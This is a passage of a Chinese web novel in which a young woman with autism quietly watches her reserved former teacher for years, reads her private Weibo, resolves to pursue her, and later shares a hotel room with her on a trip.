她记起上次和白鹭洲探讨的那个问题,忽然有些明白了。 “啊!就是您说的, 只能寄希望于下辈子的那种、那种、那种,遗憾。” “……” 白鹭洲忖了忖。 “你这么说……也可以。” 池柚再一次问出上次白鹭洲没有回答的问题: “那老师, 您的下辈子,您有什么想要寄过去的遗憾吗?” 白鹭洲:“……” 她还是没有回答,岔开了话题: “不如先好好想想你自己的。” “我……” 池柚偏着头想了想。 “那我就拼一个白老师吧。” 你一走,你就是我的遗憾了。 简单而纯粹的心思,是对自己最亲近的师长的不舍。是一段羁绊的结束。也是她最不愿说、却最该说“再见”的终点。 白鹭洲闻言,眉眼微弯,低下头,从袋子里取出给池柚的另一件礼物。 ——是一缕头发。 她自己的头发,早上才刚刚剪下来,用小皮筋束了,细细软软的一小簇。 “你上次说,要是我走了,你会想要留下一些我身体上的纪念品。” 白鹭洲递上自己的头发。 “我的手是不能剁给你了,就拿这个当纪念品吧。”. 后来,白鹭洲走了之后,池柚用红绳并着那缕头发编成了一条手绳。 池柚戴上红手绳,一戴就是十三年。 但这并不代表池柚睹物思人了十三年。 白鹭洲就跟她住在同一个城市,又没有相隔千里,她们也不是电视剧里那种吵了架就赌气闹误会错过好多年的情侣。在池柚眼里,既然老师不来看她,那她就时不时去看看老师吧,多走几步路的事,又不会掉块肉。 所以池柚从小学开始,到初中,到高中,到大学,其实一直都有去看过白鹭洲。 只是她每次都不会上前去和老师打招呼,只会远远地看着,看一会儿就走。 她同时好奇着那个白鹭洲始终不肯回答的问题—— 你下辈子想要什么呢? 换言之,你这辈子的遗憾是什么呢? 在池柚的眼里这不算是一个很难回答的问题,她就可以很简单明确地回答出来。 她不懂,为什么在白鹭洲这样的成年人世界里,这个问题会这么难以解答。 如果老师回答不出来,那么她希望可以通过她的观察,来帮老师得出一个答案。 就当作为她的报恩吧。 然而池柚没想到,找到这个答案,花费了她比想象中更多年的时间。 你要怎么知道一样东西是某个人得不到的遗憾? 那就要看她为什么而开心,又为什么而难过。 你又要怎么知道她为什么而开心,为什么而难过? 只能观察她的表情。 可是白鹭洲的脸上很少有表情。 池柚通过社会性学习知道了跟踪狂和正常观察的区别,所以她没有像个违法犯罪的嫌疑人似的整天跟在白鹭洲周围。她只去白鹭洲会去的公共区域,比如学校门口,奶茶店里,或者白柳斋的大门前。 她也不经常去,隔一两个月才会偶尔绕道过去看一看。 她就像白鹭洲生活中可能出现的一个普通人,偶然会邂逅一下。 运气好的话,这一年可能多邂逅两次。 次数本来就这么少了,再加上白鹭洲又是个喜怒不形于色的性格,池柚真的很难找到什么突破口. 突破口来得很意外。 池柚在手机上乱搜的时候,居然搜出了白鹭洲的微博。 一看就是个私人小号,头像是纯底灰白色,ID是简简单单的“鹭洲”两个字,后面跟了几个避免重名的短横线符。粉丝数为0。 微博里发的东西很简单,有时候分享一首歌,有时候发一杯咖啡的照片带上省师大的定位,很少有自己写的话。四百多条微博里,只有两条是有情绪表达的文字,而且两条都是同一个内容—— 就两个字:【好累。】 看起来像是实在濒临难受的临界值时,才会隐忍挤出的一点点叹息。 但白鹭洲编写了个签。 她的个签是一句短而有力的话: 【世间不淹没过生死的起伏,都该是一种常态。】 所以也就明白了她如此吝于发泄情绪的原因。 这句个签仿佛一个无声又残忍的镣铐,钉死在个人页面的顶端,每一次当她有倾吐欲望时点进来都可以看见它。 然后每次都会盯着这句话,劝说自己: 都是小事,忍忍吧,不发了。 白鹭洲是那种连写日记都会藏八分真心话在心底的人。 憋得痛了,也忍着不会放它们出来。 不过好在,白鹭洲的微博虽然没有透露什么太有用的信息,却也给了池柚很多更了解她的机会。 比如有时候白鹭洲会分享自己喜欢的奶茶,说明天还来喝。池柚就会在第二天也去到那里,坐得远远的,点一杯一样的奶茶。 有时候白鹭洲发一张飞机窗外的云层图,池柚就知道她最近不会出现在学校了。 有一次,端午节,白鹭洲提前在微博发了一张照片,上面是一个很简单的三角小香包。配文: 【花了一个月,亲手做的,希望奶奶喜欢。】 刚好那阵子池柚好久没见过白鹭洲了。她猜到白鹭洲在端午这天要回白柳斋给奶奶送礼物,就在端午那一天赶在白鹭洲下班之前,跑到白柳斋的胡同口,和下棋的老大爷一起坐着。 老大爷还热心地拿一次性塑料杯给池柚倒了杯稀释得跟白开水似的茶,从兜里捏了一小撮茶叶添进去加浓。 池柚慢慢喝着茶。 直到看见下班的白鹭洲回来了,她就从老大爷堆里站起来,往前几步,站在能看清白鹭洲的拐角处。 白鹭洲没有直接回白柳斋,而是先去了胡同口卖老点心的铺子,站在玻璃柜前,低着头若有所思。 她突然笑了一下,弯低了腰,隔着玻璃轻轻地描摹了一下里面某个点心的轮廓。 触碰玻璃的那根食指缠着新换的创可贴,隐约露出一些狼狈的针眼。 白鹭洲很少这样笑。神情放松,带着不加掩饰的一点欣喜,一点期待。 白鹭洲掏出钱包,叫老板包好了她选的点心。一包奶奶常爱吃的枣泥糕,还有一包,就是刚刚惹起她兴趣的端午特供绿豆糕。 从精致的模具中压出,粉色的外皮,是桃花盛开的形状,特别好看。 白鹭洲拎着两盒糕点出门后,驻足想了想。 她低下头,从手包里取出了那个给奶奶亲手绣了一个月的香包,小心地悄悄藏进了糕点盒中。 这是她准备的小小惊喜。 等她走到白柳斋门口时,爷爷奶奶刚好出来送亲戚,两个姐姐也恰好都拎着礼物赶了过来。 白鹭洲正要递上自己的礼物,想开口说些什么。奶奶却没给她说话机会,匆忙地环视一周,直接从她手里拿过了那两盒糕饼,不由分说地塞到了要走的亲戚手中。 “拿着拿着,也没什么东西给你们带走的,小辈买的点心,将就吃。” “不用啦,怎么这么客气?” “哎呀拿着吧,你才是在瞎客气!” 亲戚笑着推拒,老人家继续拉扯,好像那点心本来就是家里有的,吃不完的积货。 拿去吧,多的是,不贵重。 “……” 白鹭洲想说话的口型还僵在脸上。 可再也说不出什么话来。 爷爷奶奶一个忙着送走亲戚,一个忙着揽住大姐白鹤丹往屋里走,二姐谈笑风生地跟上去。 最后熙熙攘攘,热闹退去,白柳斋门口只剩下白鹭洲一个人。 孤零零的,拄着一根手杖,仍站在原地。 甚至都没有人注意到,有个人还没进门呢。 明明白鹭洲和姐姐们同时都带来了礼物。可是,奶奶却下意识地,只把白鹭洲的那一份随手送人了。 大姐是奶奶的心肝宝贝,二姐是爸爸的心肝宝贝,她们的心意都万分重要,是要拿进去亲手拆开看看的。 只有白鹭洲的心意,只代表白鹭洲自己一个人的心意。 所以,一文不值。 那好像是池柚第一次看到白鹭洲的脸上出现掩饰不住的情绪,虽然是侧面的角度。 远远的,她看见白鹭洲的眉毛一下一下皱着,嘴唇抿得很紧。半晌,才缓缓吐出一口气。喉头一直在动,不停地吞咽唾液。 白鹭洲没哭。 池柚知道,白鹭洲不会让自己在外面哭,或者有可能她自己一个人的时候也不允许自己哭。 她习惯忍耐了。这片刻的失态,也仅是在强忍之下压不住的一点点外泄而已。 黑漆漆的古旧大门前,艾草还挂在铜环上。 街道空气里熏草药的味道浓得呛人。 …… 那天晚上,池柚刷到了白鹭洲发的新微博。 ——【好累。】 这是那四百多条微博里的第三条【好累。】 第033章 ·回忆 ·回忆 “好累”是一个很中性的词。 中性就意味着定义模糊, 难寻本意。可以理解它是工作劳苦的感慨,也可以理解它是感情中的心力交瘁,或是别的什么。 看到这句牢骚的人只会知道这个人累了, 但猜不准这两个字背后的具体情节。 白鹭洲连发牢骚都要加一层朦胧的密码。 池柚却亲眼看见了密码背后真实的样子。 而且通过这些年对白鹭洲生活的碰触,她大概也能解码前两个“好累”的真相。 白鹭洲会感觉累太正常了。 她做什么事都很认真, 很拼命。念书就专心致志要拿同辈里的头几名, 读研读博就专挑云州名声最响的导师那里考, 试卷要第一个交,上课要第一个到,做出的课业永远是一沓纸里面最有价值的。 就连刚试着接触了一下“美食鉴赏”这门不怎么需要专业知识大部分时间只需要放个PPT的课, 白鹭洲都用最快的速度去掌握了最厉害的厨艺,让自己拿到实操经验。 池柚是天生的天才。而白鹭洲,是人造的天才。 ——被她自己造出来的天才。 有时候白鹭洲会在微博分享自己唱的戏。 不是什么专业设备录的,就是最普通的手机K歌app。 池柚不懂戏曲, 但通过粗糙的伴奏, 干湿糟糕的混响效果,她也能听出来白鹭洲唱得真的特别特别好。 吴侬软语,清亮柔美,唱到婉转之处, 白鹭洲的嗓音就像是在她耳边细细袅袅地说着悄悄话。 池柚觉得白鹭洲唱得比那些电视台里的很多人还要棒。 电视台里的人花了很多时间才站到台上。那没有专业培养环境的白鹭洲, 只会比他们花费更多的时间吧。 白鹭洲优秀得简直挑不出什么短板。但凡是她踏足的领域,她都会用各种方式让自己成为里面的佼佼者。 就好像她站在每一座山的山巅, 每个人都会第一眼看到她, 然后仰望她。 然而白鹭洲不是天生就长在山巅上的。她要不停地攀爬,掉落几率很高。 池柚就亲眼见她跌落过一次。 那段时间, 白鹭洲的微博分享了一个活动,是学校组织的外出交换游学, 只有两个名额。很珍贵,机会难得的一趟旅行,对未来的发展至关重要。 从那天开始,她微博发的照片就都在图书馆。 池柚那阵子也去图书馆,每天都可以看见白鹭洲。 她看着白鹭洲为这次名额倾注了全部精力做准备,从早上八点开馆,到晚上十一点闭馆,白鹭洲都会卡着时间出现。一整天,坐在那里几乎不动。 白鹭洲一天就带一个小三明治来,中途饿的时候吃,没有准确时间点,也顾不上讲究规律饮食。 她仿佛不知饥饱的假人,凑合吃那一两口只是为了维持生命特征不消失。 就是如此努力。 三个月后,在公布名单的那一天,公布栏前,池柚却远远望见了白鹭洲僵硬的背影。 旁边的同学拍了拍白鹭洲的肩,安抚的声音隐约传到池柚耳朵里: “我知道你的成绩本来是第一,但没办法嘛,要考虑到外出交流的形象问题,你这个腿……算啦,导师既然都选了更合适的人,就别在意了,下次还有别的机会呢。” 池柚从侧后方只能看见白鹭洲平静的脸轮廓与一弧垂下的睫毛。 她看见那片睫毛颤抖了一会儿,低低地嗯了一声。 这晚,池柚刷到了白鹭洲发的两条新微博。 【好累。】 【好累。】 她连着说了两遍好累。 其实世界上本来就不是每份付出都会有回报。但对于白鹭洲来说,付出和回报的平衡率比正常人还要失衡得多。 就因为她是个瘸子。 所以尽管她拼了命去努力,起始位置也永远都会比一个健康的普通人矮一大截。 没办法。 天生的。 老天就是要苛待你。 你能怎么办?. 白鹭洲是个很孤独的人。 不论是在她的亲情、事业,还是在友情、或是爱情的角度中。 她的生活里也会有来往的朋友与同事,但都交往很浅。 一个很现实的场景:中午下班后,大家一起三三两两去食堂吃饭,别人都迈着正常的步伐渐渐走到前面去了,只有她,还拄着拐缓慢地被落在后面。 就是这么一小段路,她跟不上,插不了同事们的对话,错过了一些攀谈的机会,关系就不会变得亲密起来了。 在爱情这个领域,也有不少人追求过她,但大多都只扮演了她人生中的过客。 她性格本就压抑冷淡,就像一块很硬很硬的冰,得长年累月不嫌冷地握住她在火焰上磨,还不一定能磨出什么结果来。追求她,跟入股一支基本看不到希望的股票一样。 所以那些男男女女路过她的身边,因为她的美丽而一时上头表过衷心,随后在看不到未来的漫长荆棘路上,情理之中地渐渐放弃。 白鹭洲仿佛一座沉默的山,望着追求者们向她走来,又目送他们一个个转身走向更好的选择。 没有人真正走近过她,因此没有人知道,她的眼底是否曾经也出现过那么一点点的、对于一段真挚爱情的渴望。 在喧闹的世界里孤独地飘零许多年后,白鹭洲逐渐认清了在她身上发生的事实。 她知道,有些东西,她可能真的一辈子都得不到了。 某一年的除夕,白鹭洲随教师团去外地出差。 她水土不服生了一场大病,同事们还有别的工作要做,给她在床头柜上草草放了两盒药便去往下一个目的地了。 人生地不熟,她一个人窝在小旅馆的床上,点外卖都不敢勾选自己是女士。 那一晚,没有人来联系过她。 亲人没有,同事没有,平时那些追求她的人更没有。 毕竟除夕么。 该团圆的在团圆,该热闹的在热闹。往常那些对她还稍微有一点关心的人,在这样盛大的节日里,和家人吃饭、嬉闹、看春晚、头疼给小孩的压岁钱,哪一件都会压过对她的关心。 这个世界对她的关心真的好浅。 牵绊也好浅。 小窗外的烟花一朵朵绚丽地绽开,极致地炸开之后,带着火星的尾光像四散的雨落下。 千朵万朵,大雨滂沱。 却没有一滴,是落在白鹭洲的窗台上的。 白鹭洲出神地望着窗外很久,她下意识地数着那些火星子。一颗,两颗,三颗。看着它们落下的不同方向,猜测着,今晚是否能有一两星火点落向她。 没有。 她看了三个小时的烟花。 一颗都没有。 白鹭洲关灯睡觉之前,拿出手机,摩挲了很久。 还是打开了微博。 第一次,她在微博上,发布了一条超过两个字的、不再加密的叹息。 ——【我这一生,好像从未被坚定地选择过。】. 池柚看到这条微博时,正在解剖一只小白鼠,为她大学的毕业论文做准备。 她看到手机亮屏跳出提示,就摘下了护目镜,用没有沾到血的小拇指轻点几下屏幕。那行字落入眼帘,她的小拇指就僵在了屏幕上。 旁观这么多年,她终于,等到了年幼时问出的那个问题的标准答案。 ——从不被人坚定地选择。 这就是白鹭洲这辈子,最大的遗憾。 池柚觉得自己应该早一点猜到的。 在看到白奶奶唯独顺手送了白鹭洲带来的点心时,在白鹭洲拼尽全力争取名额却因为腿疾而被刷下来时,在她一个人拄着拐默默地走在所有同事后面时,在那些追求者们繁花一样涌来却又潮水一般褪去时。 亲情,事业,友情,爱情。 所有出现在白鹭洲生命中的人,他们好似都有着更好的选项。 白鹭洲真的从来都不是他们的最优选。 他们经过她,掠过她,最后全部绕开了她。 池柚得到了答案,以为自己会很开心地庆祝一下。因为这很像是她努力了很久的一个课业,费时费力地钻研许多年,终于有了最确定的成果。 可是池柚用沾满血的双手握住手机,坐在椅子上,吸了吸鼻子。 没一会儿,豆大的眼泪就吧嗒吧嗒地掉到了手机屏幕上。 她好心疼白鹭洲喔。 好心疼好心疼。 第034章 ·回忆 ·回忆 池柚喜欢上白鹭洲这件事, 就像一个人早上起来普通地喝了一杯水一样。 她长大懂事后,很自然地认为她喜欢的就是白鹭洲。甚至完全没有想过为什么,怎么喜欢上的, 什么时候喜欢上的。 她只知道当她第一次对爱情有概念时,脑子里第一个蹦出来的人就是白鹭洲。 普世的人们说, 爱情是一对一的、没有血缘关系的两个人结合相守。 池柚仔细想想, 觉得没有什么毛病。她和白鹭洲没有血缘关系, 她也想和白鹭洲两个人一直生活在一起。 在白鹭洲说“好累”的时候抱抱她,在她没日没夜拼命工作时陪陪她。还想叠好多白色的纸花,用红笔涂红, 送给她。 她也心疼白鹭洲,尤其是白鹭洲做完钛板手术后。 池柚觉得白鹭洲好像童话故事里被赐予了新生双腿的小美人鱼,旁人只看到她如今的完美,可池柚懂她走在路上每一步时脚下像小美人鱼一样被针扎的痛苦。 要是可以的话, 池柚都想抱着她走, 别让她的双腿挨地。 白鹭洲是引导过她走出黑暗的伟大恩师,也是脆弱得让人想亲亲她额头的小美人鱼。 这在池柚的心中并不冲突。 其实一开始,池柚意识到自己喜欢白鹭洲之后,并没有打算去明目张胆地追求对方。 她自己的自闭症从来没有痊愈过, 只是随着年纪增长, 她在努力地让自己去接触外面的人,尽量和现实社会不脱轨。她和人交流起来依旧困难, 许多时候, 还是说不出流利的长句子。 这样的她,怎么可能跑到人家面前, 大喇喇地说一句“我喜欢你”。 所以池柚原本是打算,就默默地喜欢白鹭洲一辈子好了。 偶尔绕段路, 远远地看看她,这就够了。 就像这些年一样,做一个每年都会“偶然”邂逅几次的过路人。 但一切的转折,发生在池柚看到白鹭洲那条微博之后。 她擦干净眼泪,做了一个决定. 池秋婉莫名其妙地看着突然挡在自己面前的池柚,手上还湿哒哒地拿着装满西瓜的竹簸箕,人被堵在厨房门口,过都过不去。 “你……有什么事吗?” 池秋婉小心地问。 池柚太奇怪了,就往这儿一杵,啥也不说,也不让道。给西瓜也不要。 “我……”池柚憋了半个字出来。 池秋婉:“怎么啦?” 池柚:“我……” 池秋婉:“是想要什么东西吗?” 池柚摇摇头,“我……” 池秋婉:“要不想好再说?我先去给旺财喂点西瓜。” 池柚:“我……” 算了,还是先对着墙练吧。 池柚闭上嘴巴,撇下这没头没尾的对话,转身回房间了。 池秋婉脸上几乎要弹出一个问号,皱着眉不解地看着池柚卧室的方向,从竹簸箕里拿出一牙儿西瓜喀嚓吃了一口。 池柚站在雪白的墙壁前,深呼吸一轮,闭上眼睛想象面前站的是白鹭洲。 我喜欢你。 她尝试对着她说出这句话。 “我……” 可是大脑的每一根神经都在拦着她,舌头的每一块肌肉都在拒绝她,她努力和身体进行对抗,表达的欲望要冲出来,本能却在说不行不行。 池柚是个固执的一根筋,这句话说不出来,其他的话她也不愿意说了。 于是自那天开始,她失声了两个月。 池秋婉着急坏了,她什么时候往池柚房间里看,池柚都跟面壁一样站在墙前面,嘴巴一直动来动去,却发不出一点声音。 她和池柚说话池柚也回头,叫池柚吃饭池柚也乖乖去吃,但解决完日常的吃喝拉撒后,池柚就会回到那面墙前,跟中邪了一样。 池秋婉给池柚吃以前心理医生开的药,不管用。问医院同事,同事也摸不着头脑。 池秋婉作为一个坚定的唯物主义专业医生,都开始不唯物主义了。 某一天,池柚正站在墙前面继续尝试,忽然就听到房门打开,身后一阵阴风刮入。 一个陌生大妈举着一面招魂幡,摇着一个大铜铃,冲进来就绕着她念念有词。一个劲地转圈,左一圈右一圈地转,表情狰狞得吓人。 终于,在大妈含了一大口符灰水朝池柚“噗”地喷了一身时,池柚忍不住抹了一把脸上的水珠,有点害怕地问: “……你、你干嘛?” 陌生大妈“哈”地笑了一声,对池秋婉说:“看!魂儿回来了。” 池秋婉攥住大妈的手:“谢谢谢谢谢谢。” 池柚:“……” 当晚,池柚从房间里走出来,郑重地坐在池秋婉身边,犹豫了一会儿,说: “妈妈,我觉得,这样是不对的。” 池秋婉吃着西瓜“嗯?”了一声。 池柚很认真:“我们,是从医的,我们不应该,相信封建迷信。” 池秋婉:“别瞎说,你的魂儿才刚回来,别让它听见了。” “我的魂儿?”池柚有点不解了,“它……什么时候走过?” 听到池柚这么问,池秋婉开始掰着指头细数池柚这两个月的异常行为。 “……不是啊。” 池柚红了红脸,沉吟半晌,才向池秋婉慢慢地解释自己这么做的原因。 她说她有个喜欢的人,想要追求对方。 说她就是在自己生自己的气,因为不能把一句“我喜欢你”好好地说出口。 池秋婉听得愣了半天,说: “你早说啊,操心死我了。” 第二天,池秋婉就将池柚带到了专业的心理医生面前,详细地说明了池柚的状况,准备以最科学的方式来帮助池柚。 女儿想谈恋爱不是什么大事,喜欢上谁也无所谓,只要能让池柚的心再向外面敞开一些,池秋婉就觉得什么都值得。 池柚在心理医生那里陆续医治了半年。 心理医生是个年轻的女人,叫柴灵,二十多岁的年纪,因为新鲜上岗还没遭受太多社会的毒打,所以保留着满腔热忱。 她教池柚怎么更好地和外界相处,教她如何直面自己喜欢的人,甚至还会教池柚很多追求人的方法以增强她的自信。 相处久了,柴灵还觉得这小姑娘特有意思,慢慢地和池柚交上了朋友。 有时候在付费诊断时间外,她也会叫池柚在附近吃个饭聊会儿天。聊天时顺口做的心灵按摩免费,不要钱。 在最后一次去柴灵那儿接受完治疗,两个人出了医院在附近喝散场奶茶时,池柚悄悄把白鹭洲这个名字告诉了她。 “原来你喜欢的那个人叫白鹭洲呀,”柴灵在脑子里将这三个字默写了一遍,“嗯……这名字挺好听,还挺有古韵,让人脑子里一下子出现好多古诗词。” 池柚点头,她也这么觉得。有时候她念起白鹭洲的名字,感觉像是一句诗,也像是一幅画。 平常池柚都不怎么谈及她要追求的这个对象,倾吐很少,大多时候她都是听柴灵的开导。 这眼看着所有治疗都结束了,最后一次见面马上要拜拜了,柴灵才头一回看到了池柚隐隐打开的心的缺口。 她忍不住循循善导地想问更多,想再多疗愈对方一点,能多一点是一点。 “她是个什么样的人呢?” 池柚想了一会儿,说: “是个很优秀的人。” 柴灵:“怎么优秀?” “她会把一切都做得很好。就……不是尽量去做好,是一定会做好的那种。” 池柚聊起白鹭洲的细节,觉得胸口有一阵热流一扯一扯的,很温暖。 “总是冷冷的,淡淡的。有不开心也不叫人知道,什么都不说,十来年了,发的难过的微博一双手就能数完。对了,她的微博还不让人关注,谁关注她,她就手动移除粉丝。我每次看她,都要搜索进去看呢。” 柴灵听到池柚谈到白鹭洲,愿意说这么多话,也跟着为她开心。 又问:“那你都喜欢她什么呢?” “不知道。” 池柚红了耳廓。 “就是觉得,她什么都好。” 优秀的样子也好,冷淡的样子也好,强迫症似的清空粉丝数的小习惯也好。 还有低着头在清晨阳光里工作的样子,背着手站在糕点柜前的样子。 内心波动时眉间隐隐压一下忍耐的样子。 都好。 “你这么喜欢她,可是听你说的,她的性格似乎是不太容易接近的那种。” 柴灵支起下巴。 “你想过以后要是追不到她,要怎么样吗?” 池柚眨了眨眼,说: “我没有想要追到她啊。” 柴灵以为自己听错了。 “什么?” 池柚温顺地重复: “我没有想要追到她。” 柴灵愣了愣,霎时,浓浓不解漫了上来。 “你在我这儿治疗这么久,不就是为了能好好地去追求她吗?你花这么长的时间做准备,半年了,追她的方法都写了三个笔记本了,这么用心,你居然不想要‘追到’她?” “不是不想,就是,没有想过。就……嗯……无所谓。” 池柚清甜地笑了,眼底温软而辽阔。 “反正,追不到也没关系的。” 她想起了那一天白鹭洲发的微博。 也想起她做出的决定。 确实,她做这一切的出发点,本来就不是要和白鹭洲在一起。 她只是,想让自己那即将上演的旷日持久的、没皮没脸的、无尊严无底线的追逐,成为一个证据。 一个白鹭洲也会被坚定选择的证据. 其实少女漫画从来都没有奢望过真的和水墨画装订在一起,少女漫画只想垫在水墨画的下面,把水墨画的人生抬高一点点,一点点就够了。 只要能让你知道,你是会被坚定地选择的,就够了。 第035章 黎青抬起手腕, 看到表上的指针已经临近半夜十二点。 “还有五分钟,”她不轻不重地打了个响指,“端上蛋糕, 准备走了。” 聚集在她房间的林慕橙和程枣枣赶紧把带的礼物装在身上,黎青亲手端起舍友们共同亲手制作的蛋糕, 宋七月也打起精神飞速地补了一下口红。 一行人轻手轻脚地来到白鹭洲的房门* 前。 不管里面的两个人是不是已经睡觉了, 哪怕硬叫起来呢, 这份大大的生日惊喜小柚子指定不能错过。 她们今天准备了好久,一整天都泡在岛上的商业街,大半天的时间七手八脚地做出这个五颜六色的大蛋糕。 虽说确实是稍微有那么一点点丑。 但这是爱啊! 满满的爱! 一群人鬼鬼祟祟地猫在人家门口, 黎青盯着表再次卡了一下时间。 到11点59分时,她精确地敲响了门。 怕叫不醒人,她还使劲多敲了几下。 过了一会儿,里面传来由远及近的轻缓脚步声。 咔哒, 门锁开了。 白鹭洲握着门把手, 睡梦中被吵醒的样子很明显。她身上慵懒而随意地穿着件浅青色的丝质衬衫,领口延出去的那一片凉白脖颈上还有睡觉时压着的红印,眼睛里蒙着雾。 白鹭洲的眉头明明没有动,但就是让人感觉她在皱眉。 她盯着黎青手里的蛋糕, 沉默片刻。 “我吃不了这么多。” 她说。 众人没反应过来。 “你们吃剩下的切一小块, 明天给我就可以了。”话落,白鹭洲就要关门。 “你在跟我搞笑吗表甥孙女?”宋七月一把撑住门, 使劲往里面看, “我们是来给小柚子庆生的,小柚子人呢?” 白鹭洲见宋七月那么殷切地往自己房间里瞅, 也有点疑惑地回头看了一眼,说:“为什么要来我这里找她?” 黎青立即意识到了什么, 那张千年老狐狸的笑脸终于第一次挂不住了。 她脸一沉,问:“她不在你这里?” 白鹭洲:“不在。” 黎青:“没有和你一起睡?” 白鹭洲:“没有。” 黎青:“是今天没有还是一直没有?” 白鹭洲:“一直没有。” 话落,除了白鹭洲之外,在场的所有人都脸色一变。 七拐八拐地变着法儿把池柚送到白鹭洲屋子里,是黎青起的头、她们所有人一起共同策划的主意。她们以为计划进行得很顺利,因为池柚白天的时候除了稍微困一点,什么也没表现出来。 没有想到,这个计划居然从第一天开始就停滞搁浅了。或者说直接夭折了。 黎青看了宋七月一眼,对白鹭洲坦诚道:“这两天我刚跟七月谈上,所以我俩一直一起住。七月和池柚换了房卡,所以按理说这几天池柚应该都只能来你这里住的。” 白鹭洲眼底的情绪凝固了一瞬,目光在黎青和宋七月身上走了一圈后,眉头皱了起来,“她没有来过,她去哪里了?” 黎青:“找找吧。” 宋七月也很担心的样子,拿出她那带着珠链的粉壳手机给导游打去电话。导游被深夜吵醒,听了问题,语气稍微带了点不耐:“没人找我换房间,也没人说过什么没地方睡的问题……” 黎青说:“小柚子的性格不会去找陌生人蹭地方,别问了。我们都去找找。” 众人放下蛋糕彩带,分头散去。 白鹭洲没有关门。 她站在门口,手里还握着冰凉的门把,眼底最后一丝睡意完全褪去。 鼻息微重,嘴唇从咬住到放开时,发出了短暂的一下轻气音。 片刻后,白鹭洲转身从衣架上拿了件宽松的长外套,随意一披,出门了。 娱乐房过零点都关了,别墅里没什么空房间。舍友们觉得池柚应该走了很远,或许已经住到了别的宾馆,又或许在海滩上。她们一边尝试打她电话,一边往外面去。 但不知道为什么,白鹭洲觉得池柚没有走很远。 她在看过大厅,厨房,各个公共卫生间之后,绕到了花园里。 走到喷泉池边时,她脚步一顿。 她能感觉到池柚。 虽然还没有看见那个人,但她能感觉到。 很神奇吧。 或许是因为过去的两年多,池柚总是像个小尾巴一样跟着她,让她们俩彼此的磁场慢慢地产生了一些交缠。每次池柚出现在周围,她都能感觉到空气有点不一样。 仿佛是有一颗稚嫩新鲜的果子,落在了她看不见的地面上。 但有微弱的甜香气息。 还有细小的滚动声音。 然后她就知道,果子马上要滚到她的脚边来了。 白鹭洲转了个弯,撩开一片肥厚深绿的芭蕉叶,看见了池柚。 池柚蜷缩成一团,手臂抱着膝盖,将自己勉强挤在不长的木凳上。呼吸很均匀,眉毛也没有皱起来,虽然脸上有一点雾露气,但那点湿润没有影响她的睡眠。 睡得很香,很乖,鼻息都浅浅的没什么声音。 白鹭洲走过去,伸手想拍醒池柚。 但她又突然意识到了什么,手一僵,撤了回来。 “池柚,醒一醒。” 她只站在她面前,出声喊她。 没反应。 “池柚。” 对方的睫毛动了一下。 “池柚,醒醒。” 池柚的睫毛又抖了抖,模糊地“嗯——”了一声。过了一小会儿,她才缓慢地睁开眼睛,盯着站在跟前的白鹭洲看了良久。忽然又眨了下眼,眨去大半朦胧。 “老师。” 她嗓子很哑,带着浓重的鼻音,让她的声音的年龄感听起来又缩水了一些。 白鹭洲以为自己会想问她: 为什么这几天没有地方睡觉不去和黎青她们说清楚?不想说清楚的话,又为什么不来自己的房间? 标准间两张单人床的中间,隔了两米的距离和一个床头柜的长度,池柚过来睡,并不会冒犯进自己的私密范围。 还想问她在这种地方将就好几晚是什么感觉? 能睡得好吗?不冷吗?不害怕吗? 不担心自己的安全问题吗? 可是白鹭洲濡了濡嘴唇,喉咙轻动一瞬,就咽下了所有将要冲出口的疑问。 她只是和池柚说了四个字: “跟我回房。” 池柚向她确定了一下,不矫情,就只确定了这一下:“我去您的房间睡觉么?” 白鹭洲:“对。” 池柚便一句都没多问了,点头,“好。等等,肩膀和腿还有点麻……” 白鹭洲也没有扶她,就站在原地,静静地等池柚自己缓过来。 池柚还有点头昏脑涨,摇摇晃晃地站起来,等白鹭洲先踏出一步,她就落后白鹭洲半个身位的距离跟在后面。 “你的行李呢?” 白鹭洲的声音从前面传来,在幽暗的夜里,轻轻的,带着她音色里惯有的一抹微冷的清亮。 池柚想起了以前她在睡觉之前戴上耳机,打开白鹭洲在K歌app里唱的戏。背景音是苏江的琵琶,池柚也不知道那是什么戏种,只知道耳机里的声音好动听。就像今晚白鹭洲说这句话的感觉一样,好听。 “行李在黎师姐那里,我每天早上等宋姐姐走了,就回去洗澡换衣服。” 池柚说。 白鹭洲:“我打电话给宋七月,让她们回来。然后你去拿你的行李,我清理出一块放你行李箱的位置。” 池柚愣了愣,“您的意思是……我之后几天也一直和您一起住吗?” 白鹭洲:“对。” 池柚想问为什么,却有些犹豫。 她没有问出口,可是前面的白鹭洲回答了:“你黎师姐和宋七月刚刚谈上恋爱,你再回去和你黎师姐单独住,宋七月应该不太愿意吧。” “啊……是。”池柚点头,确实是这样。 然后一路再无话。 舍友们以及宋七月得到了通知纷纷赶了回来,看到池柚人没啥问题她们也就都放心了。只是这一圈折腾弄得人又累又困,池柚也困困的,庆生的事暂时没了心情。 她们把蛋糕放进别墅的公共冰箱里,打算白天再好好庆祝。 走的时候,宋七月想问些什么的样子,飘忽的眼神转来转去,估计是不确定自己今天的住处。 黎青没给她机会开那个没情商的口,直接拉着她手腕带她走了。 门被关上,房间里瞬时安静下来。 就剩她们两个人了。 白鹭洲脱下外套挂在衣架上,穿着那件浅青色的丝质衬衫坐在了单人沙发里,拿起笔记本电脑看工作的文件。睡意暂无,她短时间没有要上床的意思。 池柚蹲在地上整理自己的行李箱,把要换的干净衣服拿出来,又翻找起自己的睡衣。 两个人都不说话。 池柚找到了,拎起睡衣看了眼卫生间,小声问白鹭洲:“我去洗澡?” 白鹭洲盯着电脑,没什么表情地“嗯”了一声。 如果是普通人,这时候一定会感慨一句好奇怪的氛围。 孤女寡女,陌生的旅居房间,“我去洗澡?”“嗯”这样的对话。 好可怕的暧昧气氛。 而且这种给旅客住的房间,不知道是不是怕客人死在卫生间里没人知道,卫生间的玻璃门都没有装锁,透明度也要比家用的毛玻璃更高一点,人站在里面可以清晰地看见身体轮廓。 可谁叫池柚不是普通人呢。 她硬是一点儿都没觉得不妥,一脸清澈地就拿着睡衣进去了。 白鹭洲本来也没注意这么多,她对于男男女女那些事本就不太敏感,要迟钝一些。直到听到了水声。 然后她才想起了那扇遮蔽性不怎么好的玻璃门,和热水淋在上面时会令玻璃更清晰的水痕。 “……” 她抿了下嘴唇,继续照常工作,全程没有抬起眼一次。 第036章 过了大概半个多小时, 池柚才洗完出来。 听到门被拉开的动静,白鹭洲的目光依然锁在电脑屏幕上,轻声问了一句: “穿好衣服了吗?” “嗯, 穿好了。” 池柚清脆地回答。 白鹭洲这才抬起脖子。垂了半个小时的脖颈瞬时传来一阵酸痛,她还听见了很小的“咔哒”一下骨头摩擦声。 她看向池柚, 愣了一下。 